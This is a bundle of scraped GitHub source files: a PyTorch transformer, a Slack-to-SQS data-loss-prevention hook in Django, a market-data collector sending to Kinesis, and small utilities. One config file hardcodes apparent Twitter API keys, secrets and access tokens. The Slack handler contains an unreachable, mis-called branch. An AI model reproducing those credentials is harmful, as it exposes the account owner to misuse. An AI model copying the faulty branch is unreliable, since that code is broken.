self.w_q(query).view(batche_num, -1, self.head_num, self.d_k).transpose(1, 2)\n key = self.w_k(key).view(batche_num, -1, self.head_num, self.d_k).transpose(1, 2)\n value = self.w_v(value).view(batche_num, -1, self.head_num, self.d_k).transpose(1, 2)\n\n attention_result, attention_score = self.self_attention(query, key, value, mask)\n\n # 원래의 모양으로 다시 변형해준다.\n # torch.continuos는 다음행과 열로 이동하기 위한 stride가 변형되어\n # 메모리 연속적으로 바꿔야 한다!\n # 참고 문서: https://discuss.pytorch.org/t/contigious-vs-non-contigious-tensor/30107/2\n attention_result = attention_result.transpose(1,2).contiguous().view(batche_num, -1, self.head_num * self.d_k)\n\n\n return self.w_o(attention_result)\n\n\"\"\"\nPosition-wise Feed-Forward Networks\nFFN(x) = max(0,xW_1 + b_1)W_2+b2\n입력과 출력은 모두 d_model의 dimension을 가지고\n내부의 레이어는 d_model * 4의 dimension을 가진다.\n\"\"\"\nclass FeedForward(nn.Module):\n def __init__(self,d_model, dropout = 0.1):\n super(FeedForward,self).__init__()\n self.w_1 = nn.Linear(d_model, d_model*4)\n self.w_2 = nn.Linear(d_model*4, d_model)\n self.dropout = nn.Dropout(p=dropout)\n\n def forward(self, x):\n return self.w_2(self.dropout(F.relu(self.w_1(x))))\n\"\"\"\nLayer Normalization\n: layer의 hidden unit들에 대해서 mean과 variance를 구한다. \nnn.Parameter는 모듈 파라미터로 여겨지는 텐서\n\"\"\"\nclass LayerNorm(nn.Module):\n def __init__(self, features, eps=1e-6):\n super(LayerNorm,self).__init__()\n self.a_2 = nn.Parameter(torch.ones(features))\n self.b_2 = nn.Parameter(torch.zeros(features))\n self.eps = eps\n def forward(self, x):\n mean = x.mean(-1, keepdim =True) # 평균\n std = x.std(-1, keepdim=True) # 표준편차\n\n return self.a_2 * (x-mean)/ (std + self.eps) + self.b_2\n\nclass ResidualConnection(nn.Module):\n def __init__(self, size, dropout):\n super(ResidualConnection,self).__init__()\n self.norm = LayerNorm(size)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x, sublayer):\n return x + self.dropout((sublayer(self.norm(x))))\n\n\"\"\"\nEncoder 블록은 FeedForward 레이어와 MultiHead 어텐션 레이어를 가진다.\n\"\"\"\nclass Encoder(nn.Module):\n def __init__(self, d_model, head_num, dropout):\n super(Encoder,self).__init__()\n self.multi_head_attention = MultiHeadAttention(d_model= d_model, head_num= head_num)\n self.residual_1 = ResidualConnection(d_model,dropout=dropout)\n\n self.feed_forward = FeedForward(d_model)\n self.residual_2 = ResidualConnection(d_model,dropout=dropout)\n\n def forward(self, input, mask):\n x = self.residual_1(input, lambda x: self.multi_head_attention(x, x, x, mask))\n x = self.residual_2(x, lambda x: self.feed_forward(x))\n return x\n\n\"\"\"\nDecoder 블록은 FeedForward 레이어와 MultiHead 어텐션, Masked Multihead 어텐션 레이어를 가진다.\nMaskedMultiHeadAttention -> MultiHeadAttention(encoder-decoder attention) -> FeedForward\n\"\"\"\n\nclass Decoder(nn.Module):\n def __init__(self, d_model,head_num, dropout):\n super(Decoder,self).__init__()\n self.masked_multi_head_attention = MultiHeadAttention(d_model= d_model, head_num= head_num)\n self.residual_1 = ResidualConnection(d_model,dropout=dropout)\n\n self.encoder_decoder_attention = MultiHeadAttention(d_model= d_model, head_num= head_num)\n self.residual_2 = ResidualConnection(d_model,dropout=dropout)\n\n self.feed_forward= FeedForward(d_model)\n self.residual_3 = ResidualConnection(d_model,dropout=dropout)\n\n\n def forward(self, target, encoder_output, target_mask, encoder_mask):\n # target, x, target_mask, input_mask\n x = self.residual_1(target, lambda x: self.masked_multi_head_attention(x, x, x, target_mask))\n x = self.residual_2(x, lambda x: self.encoder_decoder_attention(x, encoder_output, encoder_output, encoder_mask))\n x = self.residual_3(x, self.feed_forward)\n\n return x\n\nclass Embeddings(nn.Module):\n def __init__(self, vocab_num, d_model):\n super(Embeddings,self).__init__()\n self.emb = nn.Embedding(vocab_num,d_model)\n self.d_model = d_model\n def forward(self, x):\n \"\"\"\n 1) 임베딩 값에 math.sqrt(self.d_model)을 곱해주는 이유는 무엇인지 찾아볼것\n 2) nn.Embedding에 다시 한번 찾아볼것\n \"\"\"\n return self.emb(x) * math.sqrt(self.d_model)\n\"\"\"\nPositional Encoding\n트랜스포머는 RNN이나 CNN을 사용하지 않기 때문에 입력에 순서 값을 반영해줘야 한다.\n예) 나는 어제의 오늘\nPE (pos,2i) = sin(pos/10000^(2i/d_model))\nPE (pos,2i+1) = cos(pos/10000^(2i/d_model)) \n\"\"\"\nclass PositionalEncoding(nn.Module):\n def __init__(self, max_seq_len, d_model,dropout=0.1):\n super(PositionalEncoding,self).__init__()\n self.dropout = nn.Dropout(p=dropout)\n\n pe = torch.zeros(max_seq_len, d_model)\n\n position = torch.arange(0,max_seq_len).unsqueeze(1)\n base = torch.ones(d_model//2).fill_(10000)\n pow_term = torch.arange(0, d_model, 2) / torch.tensor(d_model,dtype=torch.float32)\n div_term = torch.pow(base,pow_term)\n\n pe[:, 0::2] = torch.sin(position / div_term)\n pe[:, 1::2] = torch.cos(position / div_term)\n\n pe = pe.unsqueeze(0)\n\n # pe를 학습되지 않는 변수로 등록\n self.register_buffer('positional_encoding', pe)\n\n def forward(self, x):\n x = x + Variable(self.positional_encoding[:, :x.size(1)], requires_grad=False)\n return self.dropout(x)\n\n\nclass PositionalEmbedding(nn.Module):\n def __init__(self, dim, max_seq_len):\n super().__init__()\n self.embedding = nn.Embedding(max_seq_len, dim)\n\n def forward(self, x):\n t = torch.arange(x.shape[1], device=x.device)\n return self.embedding(t)\n\nclass Generator(nn.Module):\n def __init__(self, d_model, vocab_num):\n super(Generator, self).__init__()\n self.proj_1 = nn.Linear(d_model, d_model*4)\n self.proj_2 = nn.Linear(d_model*4, vocab_num)\n\n def forward(self, x):\n x = self.proj_1(x)\n x = self.proj_2(x)\n return x\nclass Transformer(nn.Module):\n def __init__(self,vocab_num, d_model, max_seq_len, head_num, dropout, N):\n super(Transformer,self).__init__()\n self.embedding = Embeddings(vocab_num, d_model)\n self.positional_encoding = PositionalEncoding(max_seq_len,d_model)\n\n self.encoders = clones(Encoder(d_model=d_model, head_num=head_num, dropout=dropout), N)\n self.decoders = clones(Decoder(d_model=d_model, head_num=head_num, dropout=dropout), N)\n\n self.generator = Generator(d_model, vocab_num)\n\n def forward(self, input, target, input_mask, target_mask, labels=None):\n x = self.positional_encoding(self.embedding(input))\n for encoder in self.encoders:\n x = encoder(x, input_mask)\n\n target = self.positional_encoding(self.embedding(target))\n for decoder in self.decoders:\n # target, encoder_output, target_mask, encoder_mask)\n target = decoder(target, x, target_mask, input_mask)\n\n lm_logits = self.generator(target)\n loss = None\n if labels is not None:\n # Shift so that tokens < n predict n\n shift_logits = lm_logits[..., :-1, :].contiguous()\n shift_labels = labels[..., 1:].contiguous()\n # Flatten the tokens\n loss_fct = CrossEntropyLoss(ignore_index=0)\n loss = loss_fct(shift_logits.view(-1, shift_logits.size(-1)), shift_labels.view(-1))\n\n return lm_logits, loss\n def encode(self,input, input_mask):\n x = self.positional_encoding(self.embedding(input))\n for encoder in self.encoders:\n x = encoder(x, input_mask)\n return x\n\n def decode(self, encode_output, encoder_mask, target, target_mask):\n target = self.positional_encoding(self.embedding(target))\n for decoder in self.decoders:\n #target, encoder_output, target_mask, encoder_mask\n target = decoder(target, encode_output, target_mask, encoder_mask)\n\n lm_logits = self.generator(target)\n\n return lm_logits\nclass TransformerMRCHead(nn.Module):\n def __init__(self, dim, num_labels,hidden_dropout_prob=0.3):\n super().__init__()\n self.dense = nn.Linear(dim, 1*dim)\n self.dropout = nn.Dropout(hidden_dropout_prob)\n self.out_proj = nn.Linear(1*dim,num_labels)\n\n def forward(self, x, **kwargs):\n # x = features[:, 0, :] # take <s> token (equiv. to [CLS])\n x = self.dropout(x)\n x = self.dense(x)\n x = get_activation(\"gelu\")(x) # although BERT uses tanh here, it seems Electra authors used gelu here\n x = self.dropout(x)\n x = self.out_proj(x)\n return x\n\nclass TransformerMRCModel(nn.Module):\n def __init__(self, vocab_size, dim, depth, max_seq_len, head_num, num_labels=2, causal=False, dropout_prob=0.2):\n super().__init__()\n self.transformer = TransformerLM(\n vocab_size=vocab_size,\n dim=dim,\n depth=depth,\n max_seq_len=max_seq_len,\n head_num=head_num,\n )\n self.mrc_head = TransformerMRCHead(dim, num_labels)\n\n def forward(self,\n input_ids=None,\n input_mask=None,\n start_positions=None,\n end_positions=None,\n **kwargs):\n # 1. transformer의 출력\n _, outputs = self.transformer(input_ids, input_mask)\n\n # 2. mrc를 위한\n logits = self.mrc_head(outputs)\n\n start_logits, end_logits = logits.split(1, dim=-1)\n start_logits = start_logits.squeeze(-1)\n end_logits = end_logits.squeeze(-1)\n\n if start_positions is not None and end_positions is not None:\n # If we are on multi-GPU, split add a dimension\n if len(start_positions.size()) > 1:\n start_positions = start_positions.squeeze(-1)\n if len(end_positions.size()) > 1:\n end_positions = end_positions.squeeze(-1)\n # sometimes the start/end positions are outside our model inputs, we ignore these terms\n ignored_index = start_logits.size(1)\n start_positions.clamp_(0, ignored_index)\n end_positions.clamp_(0, ignored_index)\n\n loss_fct = CrossEntropyLoss(ignore_index=ignored_index)\n start_loss = loss_fct(start_logits, start_positions)\n end_loss = loss_fct(end_logits, end_positions)\n total_loss = (start_loss + end_loss) / 2\n return total_loss\n else:\n return start_logits, end_logits\n\nclass TransformerLM(nn.Module):\n def __init__(self, vocab_size, dim=512, depth= 12, max_seq_len=512, head_num=8, dropout= 0.1):\n super(TransformerLM,self).__init__()\n\n self.token_emb= nn.Embedding(vocab_size, dim)\n self.position_emb = PositionalEmbedding(dim,max_seq_len)\n self.encoders = clones(Encoder(d_model=dim, head_num=head_num, dropout=dropout), depth)\n self.norm = nn.LayerNorm(dim)\n self.lm_head = nn.Sequential(\n nn.Linear(dim, dim),\n nn.Linear(dim, vocab_size)\n )\n\n def forward(self, input_ids, input_mask):\n x = self.token_emb(input_ids)\n x = x + self.position_emb(input_ids).type_as(x)\n\n for encoder in self.encoders:\n x = encoder(x, input_mask)\n x = self.norm(x)\n\n return self.lm_head(x), x # lm_head, performer_embedding\n\n\n\nif __name__==\"__main__\":\n pass\n","repo_name":"nawnoes/pytorch-transformer","sub_path":"model/transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":13196,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"72"} +{"seq_id":"25745857406","text":"from django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.conf import settings\nimport json\nfrom django.http import HttpResponse, JsonResponse\nimport slack\nimport requests\nimport re\nfrom .models import Message\nfrom .utils import search_for_leaks, send_message_to_SQS, build_client_SQS\nimport boto3\nfrom .threads import Manager\nimport asyncio\n# Create your views here.\n\ndef indexView(request):\n return render(request, 'index.html')\n\ndef SearchPatternsView(request):\n manager = Manager(settings.QUEUE_URL)\n asyncio.run(manager.main())\n return HttpResponse(\"all msgs searched\")\n\n\n@csrf_exempt\ndef event_hook(request):\n client = slack.WebClient(token=settings.BOT_USER_ACCESS_TOKEN)\n json_dict = json.loads(request.body.decode('utf-8'))\n if json_dict['token'] != settings.VERIFICATION_TOKEN:\n return HttpResponse(status=403)\n if 'type' in json_dict:\n if json_dict['type'] == 'url_verification':\n response_dict = {\"challenge\": json_dict['challenge']}\n return JsonResponse(response_dict, safe=False)\n if 'event' in json_dict:\n event_msg = json_dict['event']\n if event_msg['type'] == 'message':\n if \"files\" in event_msg:\n send_message_to_SQS(event_msg[\"files\"][0][\"preview\"],event_msg[\"ts\"], event_msg[\"channel\"])\n return HttpResponse(status=201)\n elif \"text\" in event_msg:\n try:\n send_message_to_SQS(event_msg[\"text\"],event_msg[\"ts\"], event_msg[\"channel\"])\n except Exception as e:\n print(e)\n elif \"files\" and \"text\" in event_msg:\n send_message_to_SQS(event_msg[\"text\"])\n send_message_to_SQS(event_msg[\"files\"][0][\"preview\"],event_msg[\"ts\"], event_msg[\"channel\"])\n return HttpResponse(status=200)\n","repo_name":"rkidev52/dlp-tool","sub_path":"DLP_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6966154940","text":"from setuptools import find_packages, setup\n\nwith open('requirements.txt') as reqs:\n install_requires = [line for line in reqs.read().split('\\n') if (\n line and not line.startswith('--'))\n ]\n\n\nsetup(\n name='runstatus-cli',\n version='0.3',\n packages=find_packages(exclude=['tests']),\n include_package_data=True,\n install_requires=install_requires,\n entry_points={'console_scripts': ['runstatus=rscli:main']},\n)\n","repo_name":"exoscale/runstatus-cli","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"25864368136","text":"suits = [\"heart\", \"spade\", \"diamond\", \"club\", \"wild\"]\n\nvalues = [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]\n\nface_cards = {\n \"J\": 11,\n \"Q\": 12,\n \"K\": 13,\n 11: \"J\",\n 12: \"Q\",\n 13: \"K\"\n}\n\nace_is_high = True\nif ace_is_high:\n values.insert(0, 1)\n face_cards[\"ace\"] = 1\nelse:\n values.append(14)\n face_cards[\"ace\"] = 14\n\n\nclass Card:\n def __init__(self, aSuit, aValue):\n if aSuit in suits:\n self.suit = aSuit\n else:\n raise Exception(\n f\"Attempted to create a card with suit:{aSuit} not in suits:{suits}\")\n\n if aValue in values:\n self.value = aValue\n else:\n raise Exception(\n f\"Attempted to create a card with value:{aValue} not in values:{values}\")\n","repo_name":"rickakell/card-games","sub_path":"card.py","file_name":"card.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11363460368","text":"#!/usr/bin/env python3\nfrom ClientFactory import ClientFactory\nfrom os import environ\nfrom json import dumps\nfrom logging import getLogger\nfrom time import sleep\nfrom ratelimitqueue import RateLimitQueue\nimport boto3\nfrom os import environ\nfrom base64 import b64encode\nfrom uuid import uuid1\n\nlogger = getLogger()\nfactory = ClientFactory()\ntdclient = factory.create_client()\nmax_calls = 60 # maximum is 120\nkinesis = boto3.client('kinesis')\nstream_name = environ.get('STREAM_NAME')\n\ndef fetch_all_instruments(assetTypes:list):\n \"\"\"\n Enumerates through all symbols\n \"\"\"\n symbols = []\n filter_count=0\n for prefix in list(range(65,91)) + list(range(48,57)):\n prefix = '.*'+chr(prefix)\n\n instruments = tdclient.search_instruments(\n symbol=prefix,\n projection='symbol-regex')\n\n print('Query Prefix {} found {} instruments...'.format(\n prefix, len(instruments)))\n\n for symbol in instruments.keys():\n assetType = instruments[symbol]['assetType']\n if assetType in assetTypes:\n symbols.append(symbol)\n else:\n filter_count+=1\n\n print('Returning {} instruments with {} filtered...'.format(\n len(symbols), filter_count)\n )\n return symbols\n \ndef fetch_fundamental_data(symbols:list):\n \"\"\"\n Fetches list of instruments fundamental data\n \"\"\"\n queue = RateLimitQueue(calls=max_calls)\n [queue.put(x) for x in symbols]\n\n while queue.qsize() > 0:\n symbol = queue.get()\n \n # Submit the fundamental data\n response = tdclient.search_instruments(\n symbol=symbol,\n projection='fundamental')\n\n # Attempt to unpack the payload\n try: \n content = response[symbol]['fundamental']\n except KeyError:\n continue\n\n send_service_data(\n serviceName='FUNDAMENTAL',\n contents=[content])\n\ndef fetch_quotes_data(symbols:list):\n \"\"\"\n Fetches list of instruments fundamental data\n \"\"\"\n queue = RateLimitQueue(calls=max_calls)\n [queue.put(x) for x in list(chunks(symbols,100)) ]\n\n while queue.qsize() > 0:\n instruments = queue.get()\n print('Processing batch {}'.format(instruments))\n \n # Submit the fundamental data\n response = tdclient.get_quotes(\n instruments=instruments)\n \n # Attempt to unpack the payload\n try:\n contents = list(response.values())\n except KeyError:\n print('KeyError for batch - {}'.format(instruments))\n continue\n except AttributeError:\n print('AttributeError for batch - {}'.format(instruments))\n continue\n\n send_service_data(\n serviceName='QUOTE',\n contents=contents)\n\ndef send_service_data(serviceName:str, contents:list) -> None:\n if serviceName is None:\n raise ValueError('No serviceName provided')\n if len(contents) == 0:\n logger.warn('empty list given to send_service_data')\n return\n\n message = dumps({\n 'data':[\n {\n 'service':serviceName,\n 'content':contents\n }\n ]\n })\n\n # TODO: Is this causing double wrapping in GraphBuilder\n data = b64encode(bytes(message,'utf-8'))\n\n print('Sending[{}]: {} base64 bytes'.format(stream_name,len(data)))\n response = kinesis.put_record(\n StreamName= stream_name,\n Data=data,\n PartitionKey= str(uuid1())\n )\n\n print('Response: {}'.format(dumps(response)))\n\ndef chunks(lst, n):\n \"\"\"Yield successive n-sized chunks from lst.\"\"\"\n for i in range(0, len(lst), n):\n yield lst[i:i + n]","repo_name":"dr-natetorious/app-FinSurf","sub_path":"src/collectors/Collector.py","file_name":"Collector.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73985143912","text":"elasticsearch_host = \"localhost\"\nelasticsearch_port = 9200\nelasticsearch_user = \"elastic\"\nelasticsearch_password = \"changeme\"\nconsumer_key = \"4ACNpRClhunNOFP1eJAGFEY13\"\nconsumer_secret = \"N27GDz3wapsGr87UtqiAwFh2ImcuZ04MHRjFL0Pckov98tZHba\"\naccess_token = \"1702692370280820736-xfBzPHALad0nxNcyOqHtXtt31LQxnt\"\naccess_token_secret = \"cwxVrxk19zG0K1C6VM9ICDGhOKcyexRJ9xXWHe5gqel22\"\nnltk_tokens_required = (\"neuralink\", \"solar\", \"tesla\", \"@tesla\", \"#tesla\", \"tesla\", \"tsla\", \"#tsla\", \"elonmusk\", \"elon\", \"musk\", \"spacex\", \"starlink\")\nnltk_min_tokens = 1\nnltk_tokens_ignored = (\"win\", \"giveaway\")\ntwitter_feeds = [\"@elonmusk\", \"@cnbc\", \"@benzinga\", \"@stockwits\",\n \"@Newsweek\", \"@WashingtonPost\", \"@breakoutstocks\", \"@bespokeinvest\",\n \"@WSJMarkets\", \"@stephanie_link\", \"@nytimesbusiness\", \"@IBDinvestors\",\n \"@WSJDealJournal\", \"@jimcramer\", \"@TheStalwart\", \"@TruthGundlach\",\n \"@Carl_C_Icahn\", \"@ReformedBroker\", \"@bespokeinvest\", \"@stlouisfed\",\n \"@muddywatersre\", \"@mcuban\", \"@AswathDamodaran\", \"@elerianm\",\n \"@MorganStanley\", \"@ianbremmer\", \"@GoldmanSachs\", \"@Wu_Tang_Finance\",\n \"@Schuldensuehner\", \"@NorthmanTrader\", \"@Frances_Coppola\", \"@bySamRo\",\n \"@BuzzFeed\",\"@nytimes\"]\n","repo_name":"vitheshshetty00/stocksight","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73637765993","text":"import os\n#store months as a dictionary\nmths = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04','May':'05','Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}\nprint(mths)\n\n#get all the filenames from a dictionary\nfils = dir_list = os.listdir('./')\n\n#prints number of files found\nprint(\"Number of files: \", len(fils))\n\n#This is the character which separates name from date\nund = '_'\n\n#loop through a files\nfor i in fils:\n f1 = i # store filename in a new variable\n pos = f1.rfind(und) # find position of _ (underscore character)\n spli = f1[pos+1:pos+12] # Get the next 11 characters from _\n if spli[0:3] in mths: # we make a change only if we find the months are valid\n # Below we make the necessary change to file names\n new_str='' \n new_str = '-'+mths[spli[0:3]]+'-'\n new_str+=spli[4:6]\n new_str = spli[7:]+new_str\n new_fnam = f1[:pos+1]+new_str+'.txt'\n #rename the file we want to change\n os.rename(f1,new_fnam) \n#fin\n \n","repo_name":"arpanojha/bohp","sub_path":"rename_files.py","file_name":"rename_files.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35159544688","text":"def quicksort(data, left, right):\n if left >= right:\n return\n\n i = left\n j = right\n key = data[left]\n\n while i != j:\n while data[j][0] > key[0] and i < j:\n j -= 1\n while data[i][0] <= key[0] and i < j:\n i += 1\n if i < j:\n data[i], data[j] = data[j], data[i]\n\n data[left] = data[i]\n data[i] = key\n\n quicksort(data, left, i-1)\n quicksort(data, i+1, right)\n\n\nclass Solution:\n def merge(self, intervals: list[list[int]]) -> list[list[int]]:\n quicksort(intervals, 0, len(intervals)-1)\n\n result = [intervals[0]]\n for i in range(1, len(intervals)):\n left, right = result[-1]\n l, r = intervals[i]\n if left <= r <= right:\n continue\n elif right < l:\n result.append(intervals[i])\n elif left <= l <= right:\n result[-1][1] = r\n\n return result\n\n\nif __name__ == '__main__':\n intervals = [[1, 4], [4, 5]]\n print(f\"{intervals}\")\n print('----------Answer Below----------')\n print(Solution().merge(intervals))\n","repo_name":"showboy0704/leetcode","sub_path":"Data Structure/Array/Sort/56_merge_intervals.py","file_name":"56_merge_intervals.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30942195057","text":"from datetime import datetime\n\nfrom price_history import PriceHistory\n\n\nclass Order:\n def __init__(self, currency, volume: float, date: datetime, ord_type, price: float):\n self.currency = currency\n self.volume = volume\n self.date = date\n self.sells = []\n # self.proceeds = None\n self.type = ord_type\n self.price = price\n self.used_up = 0\n\n @property\n def cost_basis(self):\n return self.volume * self.price\n\n @classmethod\n def from_row(cls, row, currency, price_hist: PriceHistory):\n volume = float(row['BTC Volume'])\n date = datetime.strptime(row['Date'], '%Y-%m-%d %H:%M:%S +0000')\n type = row['BTC Buy/Sell']\n if row['Ticker'] == 'BTC' and row['Currency'] == 'USD':\n price = float(row['Price'])\n else:\n # price = price_hist[date.strftime('%Y-%m-%d')]\n price = price_hist[date]\n return cls(currency, volume, date, type, price)\n\n def __str__(self):\n return f'[{self.date}] - {self.type} {self.currency}: {self.volume} (used up: {self.used_up})'\n","repo_name":"kperilla/CryptoGainsTracker","sub_path":"src/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41878489586","text":"from typing import Optional\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\ndef from_values(*args: int) -> Optional[ListNode]:\n dummy = ListNode()\n tail = dummy\n for v in args:\n tail.next = ListNode(v)\n tail = tail.next\n return dummy.next\n\n\ndef equals(l1: Optional[ListNode], l2: Optional[ListNode]) -> bool:\n if l1 is l2:\n return True\n while l1 is not None and l2 is not None and l1.val == l2.val:\n l1 = l1.next\n l2 = l2.next\n return l1 is None and l2 is None\n","repo_name":"qianbinbin/leetcode","sub_path":"python3/leetcodepy/utils/linked_lists.py","file_name":"linked_lists.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"13092124395","text":"import constants\nimport random\nimport datetime\nimport csv\nimport os\n\n\n# Функции для получени параметров имени кампании и дат Reshuffle_date и Next_reshuffle_date\ndef _get_campaign_type():\n return random.choice(constants.campaign_type)\n\n\ndef _get_channel():\n return random.choice(constants.channel)\n\n\ndef _get_app():\n return random.choice(constants.app)\n\n\ndef _get_platform():\n return random.choice(constants.platform)\n\n\ndef _get_geo(channel):\n if channel == \"RM\":\n geo_id = random.randint(0, 2)\n return constants.geo[geo_id]\n else:\n return random.choice(constants.geo)\n\n\ndef _get_days_of_inactivity():\n return random.choice(constants.days_of_inactivity)\n\n\ndef _get_payer_type():\n return random.choice(constants.payer_type)\n\n\ndef _get_rotation_type():\n return random.choice(constants.rotation_type)\n\n\ndef _get_opt():\n return random.choice(constants.opt)\n\n\ndef _get_custom():\n return random.choice(constants.custom)\n\n\ndef _get_creative_type(channel):\n if channel == \"FB\":\n return random.choice(constants.creative_type)\n else:\n return \"\"\n\n\n# Дата только для нейминга кампании, к reshuffle_date и next_reshuffle_date не имеет отношения\ndef _get_date():\n month = random.choice(constants.month)\n if month == \"Feb\":\n day = str(random.randint(1, 29))\n elif month in (\"Apr\", \"June\", \"Sep\", \"Nov\"):\n day = str(random.randint(1, 30))\n else:\n day = str(random.randint(1, 31))\n campaign_date = month + day\n return campaign_date\n\n\n# Собираем имя кампании из составляющих\ndef _get_campaign_name():\n name = \"\"\n campaign_type = _get_campaign_type()\n channel = _get_channel()\n platform = _get_platform()\n app = _get_app() + random.choice(constants.splitter) + platform\n geo = _get_geo(channel)\n days_of_inactivity = _get_days_of_inactivity()\n payer_type = _get_payer_type()\n rotation_type = _get_rotation_type()\n opt = _get_opt()\n custom = _get_custom()\n creative_type = _get_creative_type(channel)\n campaign_date = _get_date()\n\n name_parts = [\n campaign_type,\n \"Ch-\" + channel,\n \"App-\" + app,\n \"Geo-\" + geo,\n \"Payers-\" + payer_type,\n \"Inactive-\" + days_of_inactivity,\n \"Type-\" + rotation_type,\n opt,\n custom,\n creative_type,\n \"Dt-\" + campaign_date,\n ]\n for part in name_parts:\n name += part\n if name_parts.index(part) != len(name_parts) - 1 and part != \"\":\n name += \"_\"\n return name\n\n\n# Reshuffle_date\ndef _get_start_date(delta):\n today = datetime.date.today()\n start_date = (today + datetime.timedelta(days=delta)).strftime(\"%d.%m.%Y\")\n return start_date\n\n\n# Next_reshuffle_date\ndef _get_end_date(start_date, delta):\n today = datetime.datetime.strptime(start_date, \"%d.%m.%Y\")\n end_date = (today + datetime.timedelta(days=delta)).strftime(\"%d.%m.%Y\")\n return end_date\n\n\n# Собираем имя кампании и даты начала и конца для последующей записи в файл\ndef _create_row(name, start_date, end_date):\n row = [name, start_date, end_date]\n return row\n\n\n# Создаем новый файл с кейсом\ndef _create_file(file_name):\n if not os.path.exists(\"cases\"):\n os.mkdir(\"cases\")\n with open(\n \"cases\" + os.sep + file_name, \"w\", encoding=\"utf-8\", newline=\"\"\n ) as result:\n writer = csv.writer(result)\n writer.writerow((\"campaign_name\", \"reshuffle_date\", \"next_reshuffle_date\"))\n result.close()\n\n\n# Дописываем новые строки в существующий файл\ndef _write_to_file(file_name, row):\n with open(\n \"cases\" + os.sep + file_name, \"a\", encoding=\"utf-8\", newline=\"\"\n ) as result:\n writer = csv.writer(result)\n writer.writerow(row)\n result.close()\n\n\n# Функция - генератор опечаток в случайном месте (случайным образом добавляет или удаляет символы)\ndef _typo_generator(row):\n typo_type = random.randint(1, 2)\n if typo_type == 1: # Удаление случайного символа или нескольких\n if len(row) <= 10:\n cutoff = random.randint(1, 8)\n result = row[:cutoff] + row[cutoff + 1 :]\n return result\n else:\n cutoff = random.randint(1, 70)\n result = row[:cutoff] + row[cutoff + random.randint(1, 5) :]\n return result\n elif typo_type == 2: # Добавление лишних символов\n symbols = \"QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-_\"\n typo_place = random.randint(0, 70)\n result = row[:typo_place] + random.choice(symbols) + row[typo_place:]\n return result\n\n\n# Кейс 1. Тесты для успешного импорта\ndef successful_import(row_number):\n file_name = \"1_successful_import.csv\"\n _create_file(file_name)\n for _ in range(row_number):\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, 1)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name, row)\n\n\n# Кейс 2. Тесты успешно импортируются, в файле есть по 2 периода для каждой кампании\ndef successful_import_2_periods_per_campaign(row_number):\n file_name = \"2_successful_import_two_periods_per_campaign.csv\"\n _create_file(file_name)\n while row_number > 0:\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, 1)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name, row)\n row_number -= 1\n if row_number == 0:\n break\n start_date = _get_start_date(2)\n end_date = _get_end_date(start_date, 1)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name, row)\n row_number -= 1\n\n\n# Кейс 3. 2 файла, некоторые тесты из файла 1 повторяются в файле 2\ndef duplicates(row_number):\n duplicate_row = 1\n file_name_1 = \"3_duplicates_1.csv\"\n file_name_2 = \"3_duplicates_2.csv\"\n error_file_name = \"3_error_rows.txt\"\n _create_file(file_name_1)\n _create_file(file_name_2)\n error_list = []\n # Цикл создает набор случайных записей в два файла, при этом гарантированно копирует случайные строки из файла 1 в файл 2 (каждую n строку,\n # при этом n - случайное число в диапазоне от 2 до общего числа строк, или до 10 (смотря что меньше). Если в файле всего 1 строка, она будет скопирована)\n if row_number > 1 and row_number <= 10:\n duplicate_row = random.randint(2, row_number)\n elif row_number > 10:\n duplicate_row = random.randint(2, 10)\n for counter in range(row_number):\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, 1)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name_1, row)\n if (counter + 1) % duplicate_row == 0 and counter < row_number:\n _write_to_file(file_name_2, row)\n error_list.append(counter + 2)\n else:\n campaign_name = _get_campaign_name()\n start_date = _get_start_date(0)\n end_date = _get_end_date(start_date, 1)\n row = _create_row(campaign_name, start_date, end_date)\n _write_to_file(file_name_2, row)\n with open(\n \"cases\" + os.sep + error_file_name, \"w\", encoding=\"utf-8\", newline=\"\"\n ) as result:\n writer = csv.writer(result)\n writer.writerow(\n [\n \"Кейс 3. 2 файла, некоторые тесты из файла 1 повторяются в файле 2. Ошибки должны быть в строках: \"\n ]\n )\n writer.writerow(error_list)\n\n\n# 